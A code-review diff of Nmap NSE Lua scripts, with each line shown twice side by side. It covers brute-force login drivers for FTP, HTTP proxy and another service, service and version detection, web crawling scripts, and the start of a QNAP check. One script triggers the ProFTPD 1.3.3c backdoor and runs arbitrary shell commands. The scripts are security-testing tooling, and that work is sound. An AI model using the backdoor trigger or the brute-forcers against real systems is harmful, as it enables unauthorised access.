if ( data:match("^HTTP/1.1 200 OK") ) then if ( data:match("^HTTP/1.1 200 OK") ) then
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
self.socket:close() self.socket:close()
end, end,
} }
local function checkEmptyPassword(host, port) local function checkEmptyPassword(host, port)
local d = Driver:new(host, port) local d = Driver:new(host, port)
local status = d:connect() local status = d:connect()
if ( not(status) ) then if ( not(status) ) then
return false return false
end end
status = d:login("", "") status = d:login("", "")
d:disconnect() d:disconnect()
return status return status
end end
action = function(host, port) action = function(host, port)
if ( checkEmptyPassword(host, port) ) then if ( checkEmptyPassword(host, port) ) then
return "Library has no password" return "Library has no password"
end end
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port ) local engine = brute.Engine:new(Driver, host, port )
engine.options.firstonly = true engine.options.firstonly = true
engine.options:setOption( "passonly", true ) engine.options:setOption( "passonly", true )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -43,72 +43,72 @@ portrule = shortport.version_port_or_service({50000,60000,9090,1526,1527},
-- @param server_version string containing the product release -- @param server_version string containing the product release
-- @return ver string containing the version information -- @return ver string containing the version information
local function parseVersion( server_version ) local function parseVersion( server_version )
local pfx = string.sub(server_version,1,3) local pfx = string.sub(server_version,1,3)
if pfx == "SQL" or pfx == "IFX" then if pfx == "SQL" or pfx == "IFX" then
local major_version = string.sub(server_version,4,5) local major_version = string.sub(server_version,4,5)
-- strip the leading 0 from the major version, for consistency with -- strip the leading 0 from the major version, for consistency with
-- nmap-service-probes results -- nmap-service-probes results
if string.sub(major_version,1,1) == "0" then if string.sub(major_version,1,1) == "0" then
major_version = string.sub(major_version,2) major_version = string.sub(major_version,2)
end end
local minor_version = string.sub(server_version,6,7) local minor_version = string.sub(server_version,6,7)
local hotfix = string.sub(server_version,8) local hotfix = string.sub(server_version,8)
server_version = major_version .. "." .. minor_version .. "." .. hotfix server_version = major_version .. "." .. minor_version .. "." .. hotfix
elseif( pfx == "CSS" ) then elseif( pfx == "CSS" ) then
return server_version:match("%w+/(.*)") return server_version:match("%w+/(.*)")
end end
return server_version return server_version
end end
action = function( host, port ) action = function( host, port )
local helper = drda.Helper:new() local helper = drda.Helper:new()
local status, response local status, response
local results = {} local results = {}
status, response = helper:connect(host, port) status, response = helper:connect(host, port)
if( not(status) ) then if( not(status) ) then
return response return response
end end
status, response = helper:getServerInfo() status, response = helper:getServerInfo()
if( not(status) ) then if( not(status) ) then
return response return response
end end
helper:close() helper:close()
-- Set port information -- Set port information
if ( response.srvclass and response.srvclass:match("IDS/") ) then if ( response.srvclass and response.srvclass:match("IDS/") ) then
port.version.name = "drda" port.version.name = "drda"
port.version.product = "IBM Informix Dynamic Server" port.version.product = "IBM Informix Dynamic Server"
port.version.name_confidence = 10 port.version.name_confidence = 10
table.insert( results, ("Informix Version: %s"):format( parseVersion(response.prodrel) ) ) table.insert( results, ("Informix Version: %s"):format( parseVersion(response.prodrel) ) )
elseif ( response.srvclass and response.srvclass:match("Apache Derby") ) then elseif ( response.srvclass and response.srvclass:match("Apache Derby") ) then
port.version.name = "drda" port.version.name = "drda"
port.version.product = "Apache Derby Server" port.version.product = "Apache Derby Server"
port.version.name_confidence = 10 port.version.name_confidence = 10
table.insert( results, ("Derby Version: %s"):format( parseVersion(response.prodrel) ) ) table.insert( results, ("Derby Version: %s"):format( parseVersion(response.prodrel) ) )
elseif ( response.srvclass and response.srvclass:match("DB2") ) then elseif ( response.srvclass and response.srvclass:match("DB2") ) then
port.version.name = "drda" port.version.name = "drda"
port.version.product = "IBM DB2 Database Server" port.version.product = "IBM DB2 Database Server"
port.version.name_confidence = 10 port.version.name_confidence = 10
table.insert( results, ("DB2 Version: %s"):format( parseVersion(response.prodrel) ) ) table.insert( results, ("DB2 Version: %s"):format( parseVersion(response.prodrel) ) )
else else
table.insert( results, ("Version: %s"):format( response.prodrel ) ) table.insert( results, ("Version: %s"):format( response.prodrel ) )
end end
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
if response.srvclass ~= nil then port.version.extrainfo = response.srvclass end if response.srvclass ~= nil then port.version.extrainfo = response.srvclass end
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
-- Generate results -- Generate results
table.insert( results, ("Server Platform: %s"):format( response.srvclass ) ) table.insert( results, ("Server Platform: %s"):format( response.srvclass ) )
table.insert( results, ("Instance Name: %s"):format( response.srvname ) ) table.insert( results, ("Instance Name: %s"):format( response.srvname ) )
table.insert( results, ("External Name: %s"):format( response.extname ) ) table.insert( results, ("External Name: %s"):format( response.extname ) )
return stdnse.format_output( true, results ) return stdnse.format_output( true, results )
end end

View File

@@ -42,84 +42,84 @@ arg_timeout = (arg_timeout or 5) * 1000
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o.host = host o.host = host
o.port = port o.port = port
return o return o
end, end,
connect = function( self ) connect = function( self )
self.socket = nmap.new_socket() self.socket = nmap.new_socket()
local status, err = self.socket:connect(self.host, self.port) local status, err = self.socket:connect(self.host, self.port)
self.socket:set_timeout(arg_timeout) self.socket:set_timeout(arg_timeout)
if(not(status)) then if(not(status)) then
return false, brute.Error:new( "Couldn't connect to host: " .. err ) return false, brute.Error:new( "Couldn't connect to host: " .. err )
end end
return true return true
end, end,
login = function (self, user, pass) login = function (self, user, pass)
local status, err local status, err
local res = "" local res = ""
status, err = self.socket:send("USER " .. user .. "\r\n") status, err = self.socket:send("USER " .. user .. "\r\n")
if(not(status)) then if(not(status)) then
return false, brute.Error:new("Couldn't send login: " .. err) return false, brute.Error:new("Couldn't send login: " .. err)
end end
status, err = self.socket:send("PASS " .. pass .. "\n\n") status, err = self.socket:send("PASS " .. pass .. "\n\n")
if(not(status)) then if(not(status)) then
return false, brute.Error:new("Couldn't send login: " .. err) return false, brute.Error:new("Couldn't send login: " .. err)
end end
-- Create a buffer and receive the first line -- Create a buffer and receive the first line
local buffer = stdnse.make_buffer(self.socket, "\r?\n") local buffer = stdnse.make_buffer(self.socket, "\r?\n")
local line = buffer() local line = buffer()
-- Loop over the lines -- Loop over the lines
while(line)do while(line)do
stdnse.print_debug("Received: %s", line) stdnse.print_debug("Received: %s", line)
if(string.match(line, "^230")) then if(string.match(line, "^230")) then
stdnse.print_debug(1, "ftp-brute: Successful login: %s/%s", user, pass) stdnse.print_debug(1, "ftp-brute: Successful login: %s/%s", user, pass)
return true, brute.Account:new( user, pass, creds.State.VALID) return true, brute.Account:new( user, pass, creds.State.VALID)
elseif(string.match(line, "^530")) then elseif(string.match(line, "^530")) then
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
elseif(string.match(line, "^220")) then elseif(string.match(line, "^220")) then
elseif(string.match(line, "^331")) then elseif(string.match(line, "^331")) then
else else
stdnse.print_debug(1, "ftp-brute: WARNING: Unhandled response: %s", line) stdnse.print_debug(1, "ftp-brute: WARNING: Unhandled response: %s", line)
local err = brute.Error:new("Unhandled response") local err = brute.Error:new("Unhandled response")
err:setRetry(true) err:setRetry(true)
return false, err return false, err
end end
line = buffer() line = buffer()
end end
return false, brute.Error:new("Login didn't return a proper response") return false, brute.Error:new("Login didn't return a proper response")
end, end,
disconnect = function( self ) disconnect = function( self )
self.socket:close() self.socket:close()
return true return true
end end
} }
action = function( host, port ) action = function( host, port )
local status, result local status, result
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -35,91 +35,91 @@ local CMD_FTP = "HELP ACIDBITCHEZ"
local CMD_SHELL = "id" local CMD_SHELL = "id"
portrule = function (host, port) portrule = function (host, port)
-- Check if version detection knows what FTP server this is. -- Check if version detection knows what FTP server this is.
if port.version.product ~= nil and port.version.product ~= "ProFTPD" then if port.version.product ~= nil and port.version.product ~= "ProFTPD" then
return false return false
end end
-- Check if version detection knows what version of FTP server this is. -- Check if version detection knows what version of FTP server this is.
if port.version.version ~= nil and port.version.version ~= "1.3.3c" then if port.version.version ~= nil and port.version.version ~= "1.3.3c" then
return false return false
end end
return shortport.port_or_service(21, "ftp")(host, port) return shortport.port_or_service(21, "ftp")(host, port)
end end
action = function(host, port) action = function(host, port)
local cmd, err, line, req, resp, results, sock, status local cmd, err, line, req, resp, results, sock, status
-- Get script arguments. -- Get script arguments.
cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd") cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd")
if not cmd then if not cmd then
cmd = CMD_SHELL cmd = CMD_SHELL
end end
-- Create socket. -- Create socket.
sock = nmap.new_socket("tcp") sock = nmap.new_socket("tcp")
sock:set_timeout(5000) sock:set_timeout(5000)
status, err = sock:connect(host, port, "tcp") status, err = sock:connect(host, port, "tcp")
if not status then if not status then
stdnse.print_debug(1, "Can't connect: %s", err) stdnse.print_debug(1, "Can't connect: %s", err)
sock:close() sock:close()
return return
end end
-- Read banner. -- Read banner.
local buffer = stdnse.make_buffer(sock, "\r?\n") local buffer = stdnse.make_buffer(sock, "\r?\n")
local code, message = ftp.read_reply(buffer) local code, message = ftp.read_reply(buffer)
if not code then if not code then
stdnse.print_debug(1, "Can't read banner: %s", message) stdnse.print_debug(1, "Can't read banner: %s", message)
sock:close() sock:close()
return return
end end
-- Check version. -- Check version.
if not message:match("ProFTPD 1.3.3c") then if not message:match("ProFTPD 1.3.3c") then
stdnse.print_debug(1, "This version is not known to be backdoored.") stdnse.print_debug(1, "This version is not known to be backdoored.")
return return
end end
-- Send command to escalate privilege. -- Send command to escalate privilege.
status, err = sock:send(CMD_FTP .. "\r\n") status, err = sock:send(CMD_FTP .. "\r\n")
if not status then if not status then
stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err) stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
sock:close() sock:close()
return return
end end
-- Check if escalation worked. -- Check if escalation worked.
code, message = ftp.read_reply(buffer) code, message = ftp.read_reply(buffer)
if code and code == 502 then if code and code == 502 then
stdnse.print_debug(1, "Privilege escalation failed: %s", message) stdnse.print_debug(1, "Privilege escalation failed: %s", message)
sock:close() sock:close()
return return
end end
-- Send command(s) to shell. -- Send command(s) to shell.
status, err = sock:send(cmd .. ";\r\n") status, err = sock:send(cmd .. ";\r\n")
if not status then if not status then
stdnse.print_debug(1, "Failed to send shell command(s): %s", err) stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
sock:close() sock:close()
return return
end end
-- Check for an error from command. -- Check for an error from command.
status, resp = sock:receive() status, resp = sock:receive()
if not status then if not status then
stdnse.print_debug(1, "Can't read command response: %s", resp) stdnse.print_debug(1, "Can't read command response: %s", resp)
sock:close() sock:close()
return return
end end
-- Summarize the results. -- Summarize the results.
results = { results = {
"This installation has been backdoored.", "This installation has been backdoored.",
"Command: " .. CMD_SHELL, "Command: " .. CMD_SHELL,
"Results: " .. resp "Results: " .. resp
} }
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end

View File

@@ -49,70 +49,70 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port) portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is -- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port. -- not on a usual HTTP port.
return shortport.port_or_service ({50090}, "hadoop-secondary-namenode")(host, port) return shortport.port_or_service ({50090}, "hadoop-secondary-namenode")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end end
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
local uri = "/status.jsp" local uri = "/status.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Resposne")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Resposne"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
local stats = {} local stats = {}
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
-- Page isn't valid html :( -- Page isn't valid html :(
for i in string.gmatch(body,"\n[%w%s]+:%s+[^][\n]+") do for i in string.gmatch(body,"\n[%w%s]+:%s+[^][\n]+") do
table.insert(stats,i:match(":%s+([^][\n]+)")) table.insert(stats,i:match(":%s+([^][\n]+)"))
end end
if #stats == 5 then if #stats == 5 then
stdnse.print_debug(1, ("%s: namenode %s"):format(SCRIPT_NAME,stats[1])) stdnse.print_debug(1, ("%s: namenode %s"):format(SCRIPT_NAME,stats[1]))
stdnse.print_debug(1, ("%s: Start %s"):format(SCRIPT_NAME,stats[2])) stdnse.print_debug(1, ("%s: Start %s"):format(SCRIPT_NAME,stats[2]))
stdnse.print_debug(1, ("%s: Last Checkpoint %s"):format(SCRIPT_NAME,stats[3])) stdnse.print_debug(1, ("%s: Last Checkpoint %s"):format(SCRIPT_NAME,stats[3]))
stdnse.print_debug(1, ("%s: Checkpoint Period %s"):format(SCRIPT_NAME,stats[4])) stdnse.print_debug(1, ("%s: Checkpoint Period %s"):format(SCRIPT_NAME,stats[4]))
stdnse.print_debug(1, ("%s: Checkpoint Size %s"):format(SCRIPT_NAME,stats[5])) stdnse.print_debug(1, ("%s: Checkpoint Size %s"):format(SCRIPT_NAME,stats[5]))
table.insert(result, ("Start: %s"):format(stats[2])) table.insert(result, ("Start: %s"):format(stats[2]))
end end
if body:match("Version:%s*</td><td>([^][\n]+)") then if body:match("Version:%s*</td><td>([^][\n]+)") then
local version = body:match("Version:%s*</td><td>([^][\n]+)") local version = body:match("Version:%s*</td><td>([^][\n]+)")
stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version)) stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Version: %s"):format(version)) table.insert(result, ("Version: %s"):format(version))
port.version.version = version port.version.version = version
end end
if body:match("Compiled:%s*</td><td>([^][\n]+)") then if body:match("Compiled:%s*</td><td>([^][\n]+)") then
local compiled = body:match("Compiled:%s*</td><td>([^][\n]+)") local compiled = body:match("Compiled:%s*</td><td>([^][\n]+)")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled)) stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Compiled: %s"):format(compiled)) table.insert(result, ("Compiled: %s"):format(compiled))
end end
if body:match("([^][\"]+)\">Logs") then if body:match("([^][\"]+)\">Logs") then
local logs = body:match("([^][\"]+)\">Logs") local logs = body:match("([^][\"]+)\">Logs")
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs)) stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
table.insert(result, ("Logs: %s"):format(logs)) table.insert(result, ("Logs: %s"):format(logs))
end end
if #stats == 5 then if #stats == 5 then
table.insert(result, ("Namenode: %s"):format(stats[1])) table.insert(result, ("Namenode: %s"):format(stats[1]))
table.insert(result, ("Last Checkpoint: %s"):format(stats[3])) table.insert(result, ("Last Checkpoint: %s"):format(stats[3]))
table.insert(result, ("Checkpoint Period: %s"):format(stats[4])) table.insert(result, ("Checkpoint Period: %s"):format(stats[4]))
table.insert(result, ("Checkpoint: Size %s"):format(stats[5])) table.insert(result, ("Checkpoint: Size %s"):format(stats[5]))
end end
if #result > 0 then if #result > 0 then
port.version.name = "hadoop-secondary-namenode" port.version.name = "hadoop-secondary-namenode"
port.version.product = "Apache Hadoop" port.version.product = "Apache Hadoop"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
if stats[1]:match("([^][/]+)") then if stats[1]:match("([^][/]+)") then
local newtarget = stats[1]:match("([^][/]+)") local newtarget = stats[1]:match("([^][/]+)")
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget)) stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
local status,err = target.add(newtarget) local status,err = target.add(newtarget)
end end
end end
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -44,73 +44,73 @@ categories = {"discovery", "safe"}
portrule = shortport.http portrule = shortport.http
local function parseAuthentication(resp) local function parseAuthentication(resp)
local www_authenticate = resp.header["www-authenticate"] local www_authenticate = resp.header["www-authenticate"]
if ( not(www_authenticate) ) then if ( not(www_authenticate) ) then
return false, "Server returned no authentication headers." return false, "Server returned no authentication headers."
end end
local challenges = http.parse_www_authenticate(www_authenticate) local challenges = http.parse_www_authenticate(www_authenticate)
if ( not(challenges) ) then if ( not(challenges) ) then
return false, ("Authentication header (%s) could not be parsed."):format(www_authenticate) return false, ("Authentication header (%s) could not be parsed."):format(www_authenticate)
end end
return true, challenges return true, challenges
end end
action = function(host, port) action = function(host, port)
-- create a new crawler instance -- create a new crawler instance
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME } ) local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME } )
if ( not(crawler) ) then if ( not(crawler) ) then
return return
end end
-- create a table entry in the registry -- create a table entry in the registry
nmap.registry.auth_urls = nmap.registry.auth_urls or {} nmap.registry.auth_urls = nmap.registry.auth_urls or {}
crawler:set_timeout(10000) crawler:set_timeout(10000)
local auth_urls = tab.new(2) local auth_urls = tab.new(2)
tab.addrow(auth_urls, "url", "method") tab.addrow(auth_urls, "url", "method")
while(true) do while(true) do
local status, r = crawler:crawl() local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons -- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort -- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else else
break break
end end
end end
-- HTTP-based authentication -- HTTP-based authentication
if ( r.response.status == 401 ) then if ( r.response.status == 401 ) then
local status, auth = parseAuthentication(r.response) local status, auth = parseAuthentication(r.response)
if ( status ) then if ( status ) then
local schemes = {} local schemes = {}
for _, item in ipairs(auth) do for _, item in ipairs(auth) do
if ( item.scheme ) then if ( item.scheme ) then
table.insert(schemes, item.scheme) table.insert(schemes, item.scheme)
end end
end end
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(stdnse.strjoin(", ", schemes))) tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(stdnse.strjoin(", ", schemes)))
else else
tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(auth)) tab.addrow(auth_urls, r.url, ("HTTP: %s"):format(auth))
end end
nmap.registry.auth_urls[r.url] = "HTTP" nmap.registry.auth_urls[r.url] = "HTTP"
-- FORM-based authentication -- FORM-based authentication
elseif r.response.body then elseif r.response.body then
-- attempt to detect a password input form field -- attempt to detect a password input form field
if ( r.response.body:match("<[Ii][Nn][Pp][Uu][Tt].-[Tt][Yy][Pp][Ee]%s*=\"*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd]") ) then if ( r.response.body:match("<[Ii][Nn][Pp][Uu][Tt].-[Tt][Yy][Pp][Ee]%s*=\"*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd]") ) then
tab.addrow(auth_urls, r.url, "FORM") tab.addrow(auth_urls, r.url, "FORM")
nmap.registry.auth_urls[r.url] = "FORM" nmap.registry.auth_urls[r.url] = "FORM"
end end
end end
end end
if ( #auth_urls > 1 ) then if ( #auth_urls > 1 ) then
local result = { tab.dump(auth_urls) } local result = { tab.dump(auth_urls) }
result.name = crawler:getLimitations() result.name = crawler:getLimitations()
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -52,60 +52,60 @@ portrule = shortport.http
-- Shortens a matching string if it exceeds 60 characters -- Shortens a matching string if it exceeds 60 characters
-- All characters after 60 will be replaced with ... -- All characters after 60 will be replaced with ...
local function shortenMatch(match) local function shortenMatch(match)
if ( #match > 60 ) then if ( #match > 60 ) then
return match:sub(1, 60) .. " ..." return match:sub(1, 60) .. " ..."
else else
return match return match
end end
end end
action = function(host, port) action = function(host, port)
-- read script specific arguments -- read script specific arguments
local match = stdnse.get_script_args("http-grep.match") local match = stdnse.get_script_args("http-grep.match")
local break_on_match = stdnse.get_script_args("http-grep.breakonmatch") local break_on_match = stdnse.get_script_args("http-grep.breakonmatch")
if ( not(match) ) then if ( not(match) ) then
return stdnse.format_output(true, "ERROR: Argument http-grep.match was not set") return stdnse.format_output(true, "ERROR: Argument http-grep.match was not set")
end end
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } ) local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
local results = {} local results = {}
-- set timeout to 10 seconds -- set timeout to 10 seconds
crawler:set_timeout(10000) crawler:set_timeout(10000)
while(true) do while(true) do
local status, r = crawler:crawl() local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons -- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort -- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason) return stdnse.format_output(true, "ERROR: %s", r.reason)
else else
break break
end end
end end
local matches = {} local matches = {}
local body = r.response.body local body = r.response.body
-- try to match the url and body -- try to match the url and body
if body and ( body:match( match ) or tostring(r.url):match(match) ) then if body and ( body:match( match ) or tostring(r.url):match(match) ) then
local count = select(2, body:gsub(match, match)) local count = select(2, body:gsub(match, match))
for match in body:gmatch(match) do for match in body:gmatch(match) do
table.insert(matches, "+ " .. shortenMatch(match)) table.insert(matches, "+ " .. shortenMatch(match))
end end
matches.name = ("(%d) %s"):format(count,tostring(r.url)) matches.name = ("(%d) %s"):format(count,tostring(r.url))
table.insert(results, matches) table.insert(results, matches)
-- should we continue to search for matches? -- should we continue to search for matches?
if ( break_on_match ) then if ( break_on_match ) then
crawler:stop() crawler:stop()
break break
end end
end end
end end
table.sort(results, function(a,b) return a.name>b.name end) table.sort(results, function(a,b) return a.name>b.name end)
return stdnse.format_output(true, results) return stdnse.format_output(true, results)
end end

View File

@@ -55,59 +55,59 @@ prerule = function() return true end
-- This function decodes the single quote as a start and should really -- This function decodes the single quote as a start and should really
-- be replaced with a proper UTF-8 decoder in the future -- be replaced with a proper UTF-8 decoder in the future
local function decodeString(str) local function decodeString(str)
return str:gsub("\226\128\153", "'") return str:gsub("\226\128\153", "'")
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local function listDevices(mm) local function listDevices(mm)
local status, devices = mm:getDevices() local status, devices = mm:getDevices()
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to get devices") return fail("Failed to get devices")
end end
local output = tab.new(2) local output = tab.new(2)
tab.addrow(output, "id", "name") tab.addrow(output, "id", "name")
for i=1, #devices do for i=1, #devices do
local name = decodeString(devices[i].name or "") local name = decodeString(devices[i].name or "")
tab.addrow(output, i, name) tab.addrow(output, i, name)
end end
if ( 1 < #output ) then if ( 1 < #output ) then
return stdnse.format_output(true, tab.dump(output)) return stdnse.format_output(true, tab.dump(output))
end end
end end
action = function() action = function()
if ( not(arg_username) or not(arg_password) ) then if ( not(arg_username) or not(arg_password) ) then
return fail("No username or password was supplied") return fail("No username or password was supplied")
end end
if ( not(arg_deviceindex) and not(arg_listdevices) ) then if ( not(arg_deviceindex) and not(arg_listdevices) ) then
return fail("No device ID was specificed") return fail("No device ID was specificed")
end end
if ( 1 == tonumber(arg_listdevices) or "true" == arg_listdevices ) then if ( 1 == tonumber(arg_listdevices) or "true" == arg_listdevices ) then
local mm = mobileme.Helper:new(arg_username, arg_password) local mm = mobileme.Helper:new(arg_username, arg_password)
return listDevices(mm) return listDevices(mm)
elseif ( not(arg_subject) or not(arg_message) ) then elseif ( not(arg_subject) or not(arg_message) ) then
return fail("Missing subject or message") return fail("Missing subject or message")
else else
local mm = mobileme.Helper:new(arg_username, arg_password) local mm = mobileme.Helper:new(arg_username, arg_password)
local status, devices = mm:getDevices() local status, devices = mm:getDevices()
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to get devices") return fail("Failed to get devices")
end end
if ( status and arg_deviceindex <= #devices ) then if ( status and arg_deviceindex <= #devices ) then
local status = mm:sendMessage( devices[arg_deviceindex].id, arg_subject, arg_message, arg_sound) local status = mm:sendMessage( devices[arg_deviceindex].id, arg_subject, arg_message, arg_sound)
if ( status ) then if ( status ) then
return ("\n Message was successfully sent to \"%s\""):format(decodeString(devices[arg_deviceindex].name or "")) return ("\n Message was successfully sent to \"%s\""):format(decodeString(devices[arg_deviceindex].name or ""))
else else
return "\n Failed to send message" return "\n Failed to send message"
end end
end end
end end
end end

View File

@@ -42,74 +42,74 @@ local arg_method = stdnse.get_script_args(SCRIPT_NAME .. '.method') or "HEAD"
Driver = { Driver = {
new = function(self, host, port) new = function(self, host, port)
local o = { host = host, port = port } local o = { host = host, port = port }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function( self ) connect = function( self )
return true return true
end, end,
login = function( self, username, password ) login = function( self, username, password )
-- the http library does not yet support proxy authentication, so let's -- the http library does not yet support proxy authentication, so let's
-- do what's necessary here. -- do what's necessary here.
local header = { ["Proxy-Authorization"] = "Basic " .. base64.enc(username .. ":" .. password) } local header = { ["Proxy-Authorization"] = "Basic " .. base64.enc(username .. ":" .. password) }
local response = http.generic_request(self.host, self.port, arg_method, arg_url, { header = header, bypass_cache = true } ) local response = http.generic_request(self.host, self.port, arg_method, arg_url, { header = header, bypass_cache = true } )
-- if we didn't get a 407 error, assume the credentials -- if we didn't get a 407 error, assume the credentials
-- were correct. we should probably do some more checks here -- were correct. we should probably do some more checks here
if ( response.status ~= 407 ) then if ( response.status ~= 407 ) then
return true, brute.Account:new( username, password, creds.State.VALID) return true, brute.Account:new( username, password, creds.State.VALID)
end end
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
end, end,
disconnect = function( self ) disconnect = function( self )
return true return true
end, end,
} }
-- checks whether the proxy really needs authentication and that the -- checks whether the proxy really needs authentication and that the
-- authentication mechanism can be handled by our script, currently only -- authentication mechanism can be handled by our script, currently only
-- BASIC authentication is supported. -- BASIC authentication is supported.
local function checkProxy(host, port, url) local function checkProxy(host, port, url)
local response = http.generic_request(host, port, arg_method, url, { bypass_cache = true }) local response = http.generic_request(host, port, arg_method, url, { bypass_cache = true })
if ( response.status ~= 407 ) then if ( response.status ~= 407 ) then
return false, "Proxy server did not require authentication" return false, "Proxy server did not require authentication"
end end
local proxy_auth = response.header["proxy-authenticate"] local proxy_auth = response.header["proxy-authenticate"]
if ( not(proxy_auth) ) then if ( not(proxy_auth) ) then
return false, "No proxy authentication header was found" return false, "No proxy authentication header was found"
end end
local challenges = http.parse_www_authenticate(proxy_auth) local challenges = http.parse_www_authenticate(proxy_auth)
for _, challenge in ipairs(challenges) do for _, challenge in ipairs(challenges) do
if ( "Basic" == challenge.scheme ) then if ( "Basic" == challenge.scheme ) then
return true return true
end end
end end
return false, "The authentication scheme wasn't supported" return false, "The authentication scheme wasn't supported"
end end
action = function(host, port) action = function(host, port)
local status, err = checkProxy(host, port, arg_url) local status, err = checkProxy(host, port, arg_url)
if ( not(status) ) then if ( not(status) ) then
return ("\n ERROR: %s"):format(err) return ("\n ERROR: %s"):format(err)
end end
local engine = brute.Engine:new(Driver, host, port) local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
local result local result
status, result = engine:start() status, result = engine:start()
return result return result
end end

View File

@@ -47,65 +47,65 @@ portrule = shortport.port_or_service ({443,8080}, "https", "tcp")
action = function(host, port) action = function(host, port)
local result = {} local result = {}
local path = "/cgi-bin/authLogin.cgi" local path = "/cgi-bin/authLogin.cgi"
local config_file = "" local config_file = ""
-- Retrieve file -- Retrieve file
stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number)) stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
local data = http.get(host, port, path) local data = http.get(host, port, path)
-- Check if file exists -- Check if file exists
if data and data.status and data.status == 200 and data.body and data.body ~= "" then if data and data.status and data.status == 200 and data.body and data.body ~= "" then
-- Check if the config file is valid -- Check if the config file is valid
